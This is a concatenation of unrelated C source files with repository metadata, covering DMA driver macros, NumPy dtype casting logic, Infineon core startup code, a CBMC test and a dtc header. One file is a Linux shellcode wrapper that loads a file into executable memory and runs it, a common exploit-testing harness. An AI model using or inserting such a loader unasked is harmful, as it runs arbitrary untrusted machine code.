* @param[in] u32TransCount Transfer Count
*
* @return None
*
* @details This macro set the selected channel transfer count.
* \hideinitializer
*/
#define PDMA_SET_TRANS_CNT(pdma,u32Ch, u32TransCount) ((uint32_t)(pdma->DSCT[(u32Ch)].CTL=(pdma->DSCT[(u32Ch)].CTL&~PDMA_DSCT_CTL_TXCNT_Msk)|(((u32TransCount)-1) << PDMA_DSCT_CTL_TXCNT_Pos)))
/**
* @brief Set Scatter-gather descriptor Address
*
* @param[in] pdma The pointer of the specified PDMA module
* @param[in] u32Ch The selected channel
* @param[in] u32Addr The descriptor address
*
* @return None
*
* @details This macro set the selected channel scatter-gather descriptor address.
* \hideinitializer
*/
#define PDMA_SET_SCATTER_DESC(pdma,u32Ch, u32Addr) ((uint32_t)(pdma->DSCT[(u32Ch)].NEXT = (u32Addr) - (pdma->SCATBA)))
/**
* @brief Stop the channel
*
* @param[in] pdma The pointer of the specified PDMA module
*
* @param[in] u32Ch The selected channel
*
* @return None
*
* @details This macro stop the selected channel.
* \hideinitializer
*/
#define PDMA_STOP(pdma,u32Ch) ((uint32_t)(pdma->PAUSE = (1 << (u32Ch))))
/**
* @brief Pause the channel
*
* @param[in] pdma The pointer of the specified PDMA module
*
* @param[in] u32Ch The selected channel
*
* @return None
*
* @details This macro pause the selected channel.
* \hideinitializer
*/
#define PDMA_PAUSE(pdma,u32Ch) ((uint32_t)(pdma->PAUSE = (1 << (u32Ch))))
/*---------------------------------------------------------------------------------------------------------*/
/* Define PDMA functions prototype */
/*---------------------------------------------------------------------------------------------------------*/
void PDMA_Open(PDMA_T *pdma, uint32_t u32Mask);
void PDMA_Close(PDMA_T *pdma);
void PDMA_SetTransferCnt(PDMA_T *pdma, uint32_t u32Ch, uint32_t u32Width, uint32_t u32TransCount);
void PDMA_SetTransferAddr(PDMA_T *pdma, uint32_t u32Ch, uint32_t u32SrcAddr, uint32_t u32SrcCtrl, uint32_t u32DstAddr, uint32_t u32DstCtrl);
void PDMA_SetTransferMode(PDMA_T *pdma, uint32_t u32Ch, uint32_t u32Peripheral, uint32_t u32ScatterEn, uint32_t u32DescAddr);
void PDMA_SetBurstType(PDMA_T *pdma, uint32_t u32Ch, uint32_t u32BurstType, uint32_t u32BurstSize);
void PDMA_EnableTimeout(PDMA_T *pdma, uint32_t u32Mask);
void PDMA_DisableTimeout(PDMA_T *pdma, uint32_t u32Mask);
void PDMA_SetTimeOut(PDMA_T *pdma, uint32_t u32Ch, uint32_t u32OnOff, uint32_t u32TimeOutCnt);
void PDMA_Trigger(PDMA_T *pdma, uint32_t u32Ch);
void PDMA_EnableInt(PDMA_T *pdma, uint32_t u32Ch, uint32_t u32Mask);
void PDMA_DisableInt(PDMA_T *pdma, uint32_t u32Ch, uint32_t u32Mask);
void PDMA_SetStride(PDMA_T *pdma, uint32_t u32Ch, uint32_t u32DestLen, uint32_t u32SrcLen, uint32_t u32TransCount);
void PDMA_SetRepeat(PDMA_T *pdma, uint32_t u32Ch, uint32_t u32DestInterval, uint32_t u32SrcInterval, uint32_t u32RepeatCount);
/*@}*/ /* end of group PDMA_EXPORTED_FUNCTIONS */
/*@}*/ /* end of group PDMA_Driver */
/*@}*/ /* end of group Standard_Driver */
#ifdef __cplusplus
}
#endif
#endif /* __PDMA_H__ */
|
cdd0b1d90909c952cceefdfa98beec9d54e6eaba
|
fce81b804cae23f525a5ad4370b684bf0dc531a5
|
/numpy/core/src/multiarray/legacy_dtype_implementation.c
|
73c70c393a0cd882c51839d7435700f5909306b5
|
[
"Zlib",
"BSD-3-Clause",
"MIT",
"Apache-2.0"
] |
permissive
|
numpy/numpy
|
ba2abcc1d2d46affbb6aabe5aed6407b4b57507e
|
dc2ff125493777a1084044e6cd6857a42ee323d4
|
refs/heads/main
| 2023-09-05T10:10:52.767363
| 2023-09-04T18:03:29
| 2023-09-04T18:03:29
| 908,607
| 25,725
| 11,968
|
BSD-3-Clause
| 2023-09-14T21:26:09
| 2010-09-13T23:02:39
|
Python
|
UTF-8
|
C
| false
| false
| 17,718
|
c
|
legacy_dtype_implementation.c
|
/*
* The only function exported here is `PyArray_LegacyCanCastTypeTo`, which
* is currently still in use when first registering a userdtype.
*
* The extremely limited use means that it can probably remain unmaintained
* until such a time where legay user dtypes are deprecated and removed
* entirely.
*/
#define NPY_NO_DEPRECATED_API NPY_API_VERSION
#define _MULTIARRAYMODULE
#include "numpy/arrayobject.h"
#include "scalartypes.h"
#include "_datetime.h"
#include "datetime_strings.h"
#include "can_cast_table.h"
#include "convert_datatype.h"
#include "legacy_dtype_implementation.h"
/*
* Compare the field dictionaries for two types.
*
* Return 1 if the field types and field names of the two descrs are equal and
* in the same order, 0 if not.
*/
static int
_equivalent_fields(PyArray_Descr *type1, PyArray_Descr *type2) {
int val;
if (type1->fields == type2->fields && type1->names == type2->names) {
return 1;
}
if (type1->fields == NULL || type2->fields == NULL) {
return 0;
}
val = PyObject_RichCompareBool(type1->fields, type2->fields, Py_EQ);
if (val != 1 || PyErr_Occurred()) {
PyErr_Clear();
return 0;
}
val = PyObject_RichCompareBool(type1->names, type2->names, Py_EQ);
if (val != 1 || PyErr_Occurred()) {
PyErr_Clear();
return 0;
}
return 1;
}
/*
* Compare the subarray data for two types.
* Return 1 if they are the same, 0 if not.
*/
static int
_equivalent_subarrays(PyArray_ArrayDescr *sub1, PyArray_ArrayDescr *sub2)
{
int val;
if (sub1 == sub2) {
return 1;
}
if (sub1 == NULL || sub2 == NULL) {
return 0;
}
val = PyObject_RichCompareBool(sub1->shape, sub2->shape, Py_EQ);
if (val != 1 || PyErr_Occurred()) {
PyErr_Clear();
return 0;
}
return PyArray_EquivTypes(sub1->base, sub2->base);
}
static unsigned char
PyArray_LegacyEquivTypes(PyArray_Descr *type1, PyArray_Descr *type2)
{
int type_num1, type_num2, size1, size2;
if (type1 == type2) {
return NPY_TRUE;
}
type_num1 = type1->type_num;
type_num2 = type2->type_num;
size1 = type1->elsize;
size2 = type2->elsize;
if (size1 != size2) {
return NPY_FALSE;
}
if (PyArray_ISNBO(type1->byteorder) != PyArray_ISNBO(type2->byteorder)) {
return NPY_FALSE;
}
if (type1->subarray || type2->subarray) {
return ((type_num1 == type_num2)
&& _equivalent_subarrays(type1->subarray, type2->subarray));
}
if (type_num1 == NPY_VOID || type_num2 == NPY_VOID) {
return ((type_num1 == type_num2) && _equivalent_fields(type1, type2));
}
if (type_num1 == NPY_DATETIME
|| type_num1 == NPY_TIMEDELTA
|| type_num2 == NPY_DATETIME
|| type_num2 == NPY_TIMEDELTA) {
return ((type_num1 == type_num2)
&& has_equivalent_datetime_metadata(type1, type2));
}
return type1->kind == type2->kind;
}
static unsigned char
PyArray_LegacyEquivTypenums(int typenum1, int typenum2)
{
PyArray_Descr *d1, *d2;
npy_bool ret;
if (typenum1 == typenum2) {
return NPY_SUCCEED;
}
d1 = PyArray_DescrFromType(typenum1);
d2 = PyArray_DescrFromType(typenum2);
ret = PyArray_LegacyEquivTypes(d1, d2);
Py_DECREF(d1);
Py_DECREF(d2);
return ret;
}
static int
PyArray_LegacyCanCastSafely(int fromtype, int totype)
{
PyArray_Descr *from;
/* Fast table lookup for small type numbers */
if ((unsigned int)fromtype < NPY_NTYPES &&
(unsigned int)totype < NPY_NTYPES) {
return _npy_can_cast_safely_table[fromtype][totype];
}
/* Identity */
if (fromtype == totype) {
return 1;
}
from = PyArray_DescrFromType(fromtype);
/*
* cancastto is a NPY_NOTYPE terminated C-int-array of types that
* the data-type can be cast to safely.
*/
if (from->f->cancastto) {
int *curtype = from->f->cancastto;
while (*curtype != NPY_NOTYPE) {
if (*curtype++ == totype) {
Py_DECREF(from);
return 1;
}
}
}
Py_DECREF(from);
return 0;
}
static npy_bool
PyArray_LegacyCanCastTo(PyArray_Descr *from, PyArray_Descr *to)
{
int from_type_num = from->type_num;
int to_type_num = to->type_num;
npy_bool ret;
ret = (npy_bool) PyArray_LegacyCanCastSafely(from_type_num, to_type_num);
if (ret) {
/* Check String and Unicode more closely */
if (from_type_num == NPY_STRING) {
if (to_type_num == NPY_STRING) {
ret = (from->elsize <= to->elsize);
}
else if (to_type_num == NPY_UNICODE) {
ret = (from->elsize << 2 <= to->elsize);
}
}
else if (from_type_num == NPY_UNICODE) {
if (to_type_num == NPY_UNICODE) {
ret = (from->elsize <= to->elsize);
}
}
/*
* For datetime/timedelta, only treat casts moving towards
* more precision as safe.
*/
else if (from_type_num == NPY_DATETIME && to_type_num == NPY_DATETIME) {
PyArray_DatetimeMetaData *meta1, *meta2;
meta1 = get_datetime_metadata_from_dtype(from);
if (meta1 == NULL) {
PyErr_Clear();
return 0;
}
meta2 = get_datetime_metadata_from_dtype(to);
if (meta2 == NULL) {
PyErr_Clear();
return 0;
}
return can_cast_datetime64_metadata(meta1, meta2,
NPY_SAFE_CASTING);
}
else if (from_type_num == NPY_TIMEDELTA &&
to_type_num == NPY_TIMEDELTA) {
PyArray_DatetimeMetaData *meta1, *meta2;
meta1 = get_datetime_metadata_from_dtype(from);
if (meta1 == NULL) {
PyErr_Clear();
return 0;
}
meta2 = get_datetime_metadata_from_dtype(to);
if (meta2 == NULL) {
PyErr_Clear();
return 0;
}
return can_cast_timedelta64_metadata(meta1, meta2,
NPY_SAFE_CASTING);
}
/*
* If to_type_num is STRING or unicode
* see if the length is long enough to hold the
* stringified value of the object.
*/
else if (to_type_num == NPY_STRING || to_type_num == NPY_UNICODE) {
/*
* Boolean value cast to string type is 5 characters max
* for string 'False'.
*/
int char_size = 1;
if (to_type_num == NPY_UNICODE) {
char_size = 4;
}
ret = 0;
if (PyDataType_ISUNSIZED(to)) {
ret = 1;
}
/*
* Need at least 5 characters to convert from boolean
* to 'True' or 'False'.
*/
else if (from->kind == 'b' && to->elsize >= 5 * char_size) {
ret = 1;
}
else if (from->kind == 'u') {
/* Guard against unexpected integer size */
if (from->elsize > 8 || from->elsize < 0) {
ret = 0;
}
else if (to->elsize >=
REQUIRED_STR_LEN[from->elsize] * char_size) {
ret = 1;
}
}
else if (from->kind == 'i') {
/* Guard against unexpected integer size */
if (from->elsize > 8 || from->elsize < 0) {
ret = 0;
}
/* Extra character needed for sign */
else if (to->elsize >=
(REQUIRED_STR_LEN[from->elsize] + 1) * char_size) {
ret = 1;
}
}
}
}
return ret;
}
/*
* Compare two field dictionaries for castability.
*
* Return 1 if 'field1' can be cast to 'field2' according to the rule
* 'casting', 0 if not.
*
* Castabiliy of field dictionaries is defined recursively: 'field1' and
* 'field2' must have the same field names (possibly in different
* orders), and the corresponding field types must be castable according
* to the given casting rule.
*/
static int
can_cast_fields(PyObject *field1, PyObject *field2, NPY_CASTING casting)
{
Py_ssize_t ppos;
PyObject *key;
PyObject *tuple1, *tuple2;
if (field1 == field2) {
return 1;
}
if (field1 == NULL || field2 == NULL) {
return 0;
}
if (PyDict_Size(field1) != PyDict_Size(field2)) {
return 0;
}
/* Iterate over all the fields and compare for castability */
ppos = 0;
while (PyDict_Next(field1, &ppos, &key, &tuple1)) {
if ((tuple2 = PyDict_GetItem(field2, key)) == NULL) {
return 0;
}
/* Compare the dtype of the field for castability */
if (!PyArray_CanCastTypeTo(
(PyArray_Descr *)PyTuple_GET_ITEM(tuple1, 0),
(PyArray_Descr *)PyTuple_GET_ITEM(tuple2, 0),
casting)) {
return 0;
}
}
return 1;
}
NPY_NO_EXPORT npy_bool
PyArray_LegacyCanCastTypeTo(PyArray_Descr *from, PyArray_Descr *to,
NPY_CASTING casting)
{
/*
* Fast paths for equality and for basic types.
*/
if (from == to ||
((NPY_LIKELY(PyDataType_ISNUMBER(from)) ||
PyDataType_ISOBJECT(from)) &&
NPY_LIKELY(from->type_num == to->type_num) &&
NPY_LIKELY(from->byteorder == to->byteorder))) {
return 1;
}
/*
* Cases with subarrays and fields need special treatment.
*/
if (PyDataType_HASFIELDS(from)) {
/*
* If from is a structured data type, then it can be cast to a simple
* non-object one only for unsafe casting *and* if it has a single
* field; recurse just in case the single field is itself structured.
*/
if (!PyDataType_HASFIELDS(to) && !PyDataType_ISOBJECT(to)) {
if (casting == NPY_UNSAFE_CASTING &&
PyDict_Size(from->fields) == 1) {
Py_ssize_t ppos = 0;
PyObject *tuple;
PyArray_Descr *field;
PyDict_Next(from->fields, &ppos, NULL, &tuple);
field = (PyArray_Descr *)PyTuple_GET_ITEM(tuple, 0);
/*
* For a subarray, we need to get the underlying type;
* since we already are casting unsafely, we can ignore
* the shape.
*/
if (PyDataType_HASSUBARRAY(field)) {
field = field->subarray->base;
}
return PyArray_LegacyCanCastTypeTo(field, to, casting);
}
else {
return 0;
}
}
/*
* Casting from one structured data type to another depends on the fields;
* we pass that case on to the EquivTypenums case below.
*
* TODO: move that part up here? Need to check whether equivalent type
* numbers is an addition constraint that is needed.
*
* TODO/FIXME: For now, always allow structured to structured for unsafe
* casting; this is not correct, but needed since the treatment in can_cast
* below got out of sync with astype; see gh-13667.
*/
if (casting == NPY_UNSAFE_CASTING) {
return 1;
}
}
else if (PyDataType_HASFIELDS(to)) {
/*
* If "from" is a simple data type and "to" has fields, then only
* unsafe casting works (and that works always, even to multiple fields).
*/
return casting == NPY_UNSAFE_CASTING;
}
/*
* Everything else we consider castable for unsafe for now.
* FIXME: ensure what we do here is consistent with "astype",
* i.e., deal more correctly with subarrays and user-defined dtype.
*/
else if (casting == NPY_UNSAFE_CASTING) {
return 1;
}
/*
* Equivalent simple types can be cast with any value of 'casting', but
* we need to be careful about structured to structured.
*/
if (PyArray_LegacyEquivTypenums(from->type_num, to->type_num)) {
/* For complicated case, use EquivTypes (for now) */
if (PyTypeNum_ISUSERDEF(from->type_num) ||
from->subarray != NULL) {
int ret;
/* Only NPY_NO_CASTING prevents byte order conversion */
if ((casting != NPY_NO_CASTING) &&
(!PyArray_ISNBO(from->byteorder) ||
!PyArray_ISNBO(to->byteorder))) {
PyArray_Descr *nbo_from, *nbo_to;
nbo_from = PyArray_DescrNewByteorder(from, NPY_NATIVE);
nbo_to = PyArray_DescrNewByteorder(to, NPY_NATIVE);
if (nbo_from == NULL || nbo_to == NULL) {
Py_XDECREF(nbo_from);
Py_XDECREF(nbo_to);
PyErr_Clear();
return 0;
}
ret = PyArray_LegacyEquivTypes(nbo_from, nbo_to);
Py_DECREF(nbo_from);
Py_DECREF(nbo_to);
}
else {
ret = PyArray_LegacyEquivTypes(from, to);
}
return ret;
}
if (PyDataType_HASFIELDS(from)) {
switch (casting) {
case NPY_EQUIV_CASTING:
case NPY_SAFE_CASTING:
case NPY_SAME_KIND_CASTING:
/*
* `from' and `to' must have the same fields, and
* corresponding fields must be (recursively) castable.
*/
return can_cast_fields(from->fields, to->fields, casting);
case NPY_NO_CASTING:
default:
return PyArray_LegacyEquivTypes(from, to);
}
}
switch (from->type_num) {
case NPY_DATETIME: {
PyArray_DatetimeMetaData *meta1, *meta2;
meta1 = get_datetime_metadata_from_dtype(from);
if (meta1 == NULL) {
PyErr_Clear();
return 0;
}
meta2 = get_datetime_metadata_from_dtype(to);
if (meta2 == NULL) {
PyErr_Clear();
return 0;
}
if (casting == NPY_NO_CASTING) {
return PyArray_ISNBO(from->byteorder) ==
PyArray_ISNBO(to->byteorder) &&
can_cast_datetime64_metadata(meta1, meta2, casting);
}
else {
return can_cast_datetime64_metadata(meta1, meta2, casting);
}
}
case NPY_TIMEDELTA: {
PyArray_DatetimeMetaData *meta1, *meta2;
meta1 = get_datetime_metadata_from_dtype(from);
if (meta1 == NULL) {
PyErr_Clear();
return 0;
}
meta2 = get_datetime_metadata_from_dtype(to);
if (meta2 == NULL) {
PyErr_Clear();
return 0;
}
if (casting == NPY_NO_CASTING) {
return PyArray_ISNBO(from->byteorder) ==
PyArray_ISNBO(to->byteorder) &&
can_cast_timedelta64_metadata(meta1, meta2, casting);
}
else {
return can_cast_timedelta64_metadata(meta1, meta2, casting);
}
}
default:
switch (casting) {
case NPY_NO_CASTING:
return PyArray_LegacyEquivTypes(from, to);
case NPY_EQUIV_CASTING:
return (from->elsize == to->elsize);
case NPY_SAFE_CASTING:
return (from->elsize <= to->elsize);
default:
return 1;
}
break;
}
}
/* If safe or same-kind casts are allowed */
else if (casting == NPY_SAFE_CASTING || casting == NPY_SAME_KIND_CASTING) {
if (PyArray_LegacyCanCastTo(from, to)) {
return 1;
}
else if(casting == NPY_SAME_KIND_CASTING) {
/*
* Also allow casting from lower to higher kinds, according
* to the ordering provided by dtype_kind_to_ordering.
* Some kinds, like datetime, don't fit in the hierarchy,
* and are special cased as -1.
*/
int from_order, to_order;
from_order = dtype_kind_to_ordering(from->kind);
to_order = dtype_kind_to_ordering(to->kind);
if (to->kind == 'm') {
/* both types being timedelta is already handled before. */
int integer_order = dtype_kind_to_ordering('i');
return (from_order != -1) && (from_order <= integer_order);
}
return (from_order != -1) && (from_order <= to_order);
}
else {
return 0;
}
}
/* NPY_NO_CASTING or NPY_EQUIV_CASTING was specified */
else {
return 0;
}
}
|
43e63b360312bdbd06439e726e3719c19d92fde7
|
487c8455b34e2b312da42bf8a43162aa5c5027df
|
/Target/Demo/TRICORE_TC3_TC375_Lite_Kit_ADS/Prog/Libraries/Infra/Ssw/TC37A/Tricore/Ifx_Ssw_Tc2.c
|
04103d9f49c1c2a645506e9c51721db4b1034a99
|
[] |
no_license
|
feaser/openblt
|
bf3a72e7beb998cb635a67db85fa68100d048bb8
|
57b517eabeb37d945606e18736e106bde34010bc
|
refs/heads/master
| 2023-08-31T23:54:09.030534
| 2023-07-07T10:29:56
| 2023-07-07T10:29:56
| 102,110,352
| 534
| 236
| null | 2023-09-14T11:11:56
| 2017-09-01T12:26:08
|
C
|
UTF-8
|
C
| false
| false
| 8,575
|
c
|
Ifx_Ssw_Tc2.c
|
/**
* \file Ifx_Ssw_Tc2.c
* \brief Startup Software for Core2
*
* \version iLLD_1_0_1_12_0_1
* \copyright Copyright (c) 2018 Infineon Technologies AG. All rights reserved.
*
*
* IMPORTANT NOTICE
*
* Use of this file is subject to the terms of use agreed between (i) you or
* the company in which ordinary course of business you are acting and (ii)
* Infineon Technologies AG or its licensees. If and as long as no such terms
* of use are agreed, use of this file is subject to following:
*
* Boost Software License - Version 1.0 - August 17th, 2003
*
* Permission is hereby granted, free of charge, to any person or organization
* obtaining a copy of the software and accompanying documentation covered by
* this license (the "Software") to use, reproduce, display, distribute,
* execute, and transmit the Software, and to prepare derivative works of the
* Software, and to permit third-parties to whom the Software is furnished to
* do so, all subject to the following:
*
* The copyright notices in the Software and this entire statement, including
* the above license grant, this restriction and the following disclaimer, must
* be included in all copies of the Software, in whole or in part, and all
* derivative works of the Software, unless such copies or derivative works are
* solely in the form of machine-executable object code generated by a source
* language processor.
*
* THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
* IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
* FITNESS FOR A PARTICULAR PURPOSE, TITLE AND NON-INFRINGEMENT. IN NO EVENT
* SHALL THE COPYRIGHT HOLDERS OR ANYONE DISTRIBUTING THE SOFTWARE BE LIABLE
* FOR ANY DAMAGES OR OTHER LIABILITY, WHETHER IN CONTRACT, TORT OR OTHERWISE,
* ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER
* DEALINGS IN THE SOFTWARE.
*
*/
/*******************************************************************************
** Includes **
*******************************************************************************/
#include "Ifx_Cfg.h"
#include "Ifx_Ssw.h"
#include "Ifx_Ssw_Infra.h"
#include "IfxScu_reg.h"
#include "IfxStm_reg.h"
/******************************************************************************/
/* Macros */
/******************************************************************************/
/** \brief Configuration for cache enable.
*
*/
#ifndef IFX_CFG_SSW_ENABLE_TRICORE2_PCACHE
# define IFX_CFG_SSW_ENABLE_TRICORE2_PCACHE (1U) /**< Program Cache enabled by default*/
#endif
#ifndef IFX_CFG_SSW_ENABLE_TRICORE2_DCACHE
# define IFX_CFG_SSW_ENABLE_TRICORE2_DCACHE (1U) /**< Data Cache enabled by default*/
#endif
/*******************************************************************************
** Imported Function Declarations **
*******************************************************************************/
IFX_SSW_COMMON_LINKER_SYMBOLS();
IFX_SSW_CORE_LINKER_SYMBOLS(2);
/*******************************************************************************
** Private Constant Definitions **
*******************************************************************************/
/*********************************************************************************
* - startup code
*********************************************************************************/
/*Add options to eliminate usage of stack pointers unnecessarily*/
#if defined(__HIGHTEC__)
#pragma GCC optimize "O2"
#endif
void __Core2_start(void)
{
unsigned int stmCount;
unsigned int stmCountBegin = STM0_TIM0.U; /* it is necessary to get this value to have minimum 100uS delay in subsequent CPU start */
unsigned short wdtPassword = Ifx_Ssw_getCpuWatchdogPasswordInline(&MODULE_SCU.WDTCPU[2]);
/* Load user stack pointer */
Ifx_Ssw_setAddressReg(sp, __USTACK(2));
Ifx_Ssw_DSYNC();
/* Set the PSW to its reset value in case of a warm start,clear PSW.IS */
Ifx_Ssw_MTCR(CPU_PSW, IFX_CFG_SSW_PSW_DEFAULT);
/* Clear the ENDINIT bit in the WDT_CON0 register, inline function */
Ifx_Ssw_clearCpuEndinitInline(&MODULE_SCU.WDTCPU[2], wdtPassword);
{
Ifx_CPU_PCON0 pcon0;
pcon0.U = 0;
pcon0.B.PCBYP = IFX_CFG_SSW_ENABLE_TRICORE2_PCACHE ? 0 : 1; /*depending on the enable bypass bit is reset/set */
Ifx_Ssw_MTCR(CPU_PCON0, pcon0.U);
Ifx_Ssw_ISYNC();
}
{
Ifx_CPU_DCON0 dcon0;
dcon0.U = 0;
dcon0.B.DCBYP = IFX_CFG_SSW_ENABLE_TRICORE2_DCACHE ? 0 : 1; /*depending on the enable bypass bit is reset/set */
Ifx_Ssw_MTCR(CPU_DCON0, dcon0.U);
Ifx_Ssw_ISYNC();
}
/* Load Base Address of Trap Vector Table. */
Ifx_Ssw_MTCR(CPU_BTV, (unsigned int)__TRAPTAB(2));
/* Load Base Address of Interrupt Vector Table. we will do this later in the program */
Ifx_Ssw_MTCR(CPU_BIV, (unsigned int)__INTTAB(2));
/* Load interrupt stack pointer. */
Ifx_Ssw_MTCR(CPU_ISP, (unsigned int)__ISTACK(2));
Ifx_Ssw_setCpuEndinitInline(&MODULE_SCU.WDTCPU[2], wdtPassword);
/* initialize SDA base pointers */
Ifx_Ssw_setAddressReg(a0, __SDATA1(2));
Ifx_Ssw_setAddressReg(a1, __SDATA2(2));
Ifx_Ssw_setAddressReg(a8, __SDATA3(2));
Ifx_Ssw_setAddressReg(a9, __SDATA4(2));
Ifx_Ssw_initCSA((unsigned int *)__CSA(2), (unsigned int *)__CSA_END(2));
/* Clears any instruction buffer */
Ifx_Ssw_ISYNC();
stmCount = (unsigned int)(Ifx_Ssw_getStmFrequency() * IFX_CFG_SSW_STARTCPU_WAIT_TIME_IN_SECONDS);
while ((unsigned int)(STM0_TIM0.U - stmCountBegin) < stmCount)
{
/* There is no need to check overflow of the STM timer.
* When counter after overflow subtracted with counter before overflow,
* the subtraction result will be as expected, as long as both are unsigned 32 bits
* eg: stmCountBegin= 0xFFFFFFFE (before overflow)
* stmCountNow = 0x00000002 (before overflow)
* diff= stmCountNow - stmCountBegin = 4 as expected.*/
}
/*Initialize CPU Private Global Variables*/
//TODO : This implementation is done once all compilers support this
#if (IFX_CFG_SSW_ENABLE_INDIVIDUAL_C_INIT != 0)
/* Hook functions to initialize application specific HW extensions */
if(hardware_init_hook)
{
hardware_init_hook();
}
/* Hook functions to initialize application specific SW extensions */
if(software_init_hook)
{
software_init_hook();
}
/* Initialization of C runtime variables and CPP constructors and destructors */
Ifx_Ssw_doCppInit();
#endif
#ifdef IFX_CFG_SSW_RETURN_FROM_MAIN
{
extern int core2_main(void);
int status= core2_main(); /* Call main function of CPU2 */
#if (IFX_CFG_SSW_ENABLE_INDIVIDUAL_C_INIT != 0)
Ifx_Ssw_doCppExit(status);
#else /* (IFX_CFG_SSW_ENABLE_INDIVIDUAL_C_INIT != 0) */
(void)status;
#endif /* (IFX_CFG_SSW_ENABLE_INDIVIDUAL_C_INIT != 0) */
}
#else /* IFX_CFG_SSW_RETURN_FROM_MAIN */
extern void core2_main(void);
Ifx_Ssw_jumpToFunction(core2_main); /* Jump to main function of CPU2 */
#endif /* IFX_CFG_SSW_RETURN_FROM_MAIN */
/* Go into infinite loop, normally the code shall not reach here */
Ifx_Ssw_infiniteLoop();
}
/******************************************************************************
* reset vector address *
*****************************************************************************/
#if defined(__HIGHTEC__)
#pragma section
#pragma section ".start_cpu2" x
#endif
#if defined(__TASKING__)
#pragma protect on
#pragma section code "start_cpu2"
#endif
#if defined(__DCC__)
#pragma section CODE ".start_cpu2" X
#endif
#if defined(__ghs__)
#pragma ghs section text=".start_cpu2"
#endif
void _START2(void)
{
Ifx_Ssw_jumpToFunction(__Core2_start);
}
/* reset the sections defined above, to normal region */
#if defined(__HIGHTEC__)
#pragma section
#endif
#if defined(__TASKING__)
#pragma protect restore
#pragma section code restore
#endif
#if defined(__DCC__)
#pragma section CODE
#endif
#if defined(__ghs__)
#pragma ghs section text=default
#endif
/*Restore the options to command line provided ones*/
#if defined(__HIGHTEC__)
#pragma GCC reset_options
#endif
|
c359005aad0bcb80aa4495e4e74f57b48542e9ba
|
c567d83aaf72eafd30273368b3cb24f99d29c3c2
|
/shellcode_wrapper_linux.c
|
41fe71fe568c0e468ba317a7f2792296c7e7cb6b
|
[] |
no_license
|
hugsy/stuff
|
101f4f1c4532e1a7c372ae8b2bb4e84b93c124de
|
fad87cc78fb7419f2b52515e6821b5c92ad58602
|
refs/heads/main
| 2023-03-04T23:30:03.584974
| 2023-02-25T20:13:24
| 2023-02-25T20:13:24
| 19,331,211
| 196
| 128
| null | null | null | null |
UTF-8
|
C
| false
| false
| 1,694
|
c
|
shellcode_wrapper_linux.c
|
/**
* Q'n'd shellcode wrapper for Linux
*
* @_hugsy_
*/
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <stdio.h>
#include <fcntl.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <sys/mman.h>
#define MAX_SC_SIZE (1<<16)
void *sc_base;
void* copy_from_file(char* filename)
{
ssize_t n = 0;
void *off;
int fd;
fd = open(filename, O_RDONLY);
if (fd<0){
perror("open");
return NULL;
}
sc_base = mmap(NULL, MAX_SC_SIZE, PROT_READ|PROT_EXEC|PROT_WRITE,
MAP_SHARED|MAP_ANONYMOUS, 0, 0);
if (sc_base == (void*) -1){
perror("mmap");
return NULL;
}
memset(sc_base, 0x00, MAX_SC_SIZE);
off = sc_base;
do {
n = read(fd, off, 128);
if (n<0) {
perror("read");
close(fd);
munmap(sc_base, MAX_SC_SIZE);
return NULL;
}
off += n;
} while (n > 0);
printf("[+] %ld bytes copied to 0x%p\n", (off-sc_base), sc_base);
return sc_base;
}
void trigger(void)
{
int (*func)();
func = (int (*)()) sc_base;
(*func)();
munmap(sc_base, MAX_SC_SIZE);
return;
}
int main(int argc, char **argv)
{
if (argc != 2) {
printf("Missing filename\n");
return -1;
}
if (copy_from_file(argv[1])) {
trigger();
return EXIT_SUCCESS;
} else {
return EXIT_FAILURE;
}
}
|
2e4f4708888a3effb5d86d074c2485543b803f74
|
de21f9075f55640514c29ef0f1fe3f0690845764
|
/regression/goto-instrument/generate-function-body-havoc-params-struct-non-recursive/main.c
|
4484851338290140852699829af23a3dba34cee0
|
[
"BSD-2-Clause",
"LicenseRef-scancode-unknown-license-reference",
"BSD-4-Clause"
] |
permissive
|
diffblue/cbmc
|
975a074ac445febb3b5715f8792beb545522dc18
|
decd2839c2f51a54b2ad0f3e89fdc1b4bf78cd16
|
refs/heads/develop
| 2023-08-31T05:52:05.342195
| 2023-08-30T13:31:51
| 2023-08-30T13:31:51
| 51,877,056
| 589
| 309
|
NOASSERTION
| 2023-09-14T18:49:17
| 2016-02-16T23:03:52
|
C++
|
UTF-8
|
C
| false
| false
| 184
|
c
|
main.c
|
#include <assert.h>
#include <stdlib.h>
typedef struct st
{
int data;
} st_t;
void func(st_t *p);
void main()
{
st_t st;
st.data = 0;
func(&st);
assert(st.data == 0);
}
|
cf64b3468a8928826a196d41d4e35d7ff95e5805
|
7eaf54a78c9e2117247cb2ab6d3a0c20719ba700
|
/SOFTWARE/A64-TERES/linux-a64/scripts/dtc/dtc.h
|
870c0a78c110c4ab0750c984d96e4262d16fe2cf
|
[
"Linux-syscall-note",
"GPL-2.0-only",
"GPL-1.0-or-later",
"LicenseRef-scancode-free-unknown",
"Apache-2.0"
] |
permissive
|
OLIMEX/DIY-LAPTOP
|
ae82f4ee79c641d9aee444db9a75f3f6709afa92
|
a3fafd1309135650bab27f5eafc0c32bc3ca74ee
|
refs/heads/rel3
| 2023-08-04T01:54:19.483792
| 2023-04-03T07:18:12
| 2023-04-03T07:18:12
| 80,094,055
| 507
| 92
|
Apache-2.0
| 2023-04-03T07:05:59
| 2017-01-26T07:25:50
|
C
|
UTF-8
|
C
| false
| false
| 7,756
|
h
|
dtc.h
|
#ifndef _DTC_H
#define _DTC_H
/*
* (C) Copyright David Gibson <dwg@au1.ibm.com>, IBM Corporation. 2005.
*
*
* This program is free software; you can redistribute it and/or
* modify it under the terms of the GNU General Public License as
* published by the Free Software Foundation; either version 2 of the
* License, or (at your option) any later version.
*
* This program is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
* General Public License for more details.
*
* You should have received a copy of the GNU General Public License
* along with this program; if not, write to the Free Software
* Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307
* USA
*/
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <stdint.h>
#include <stdbool.h>
#include <stdarg.h>
#include <assert.h>
#include <ctype.h>
#include <errno.h>
#include <unistd.h>
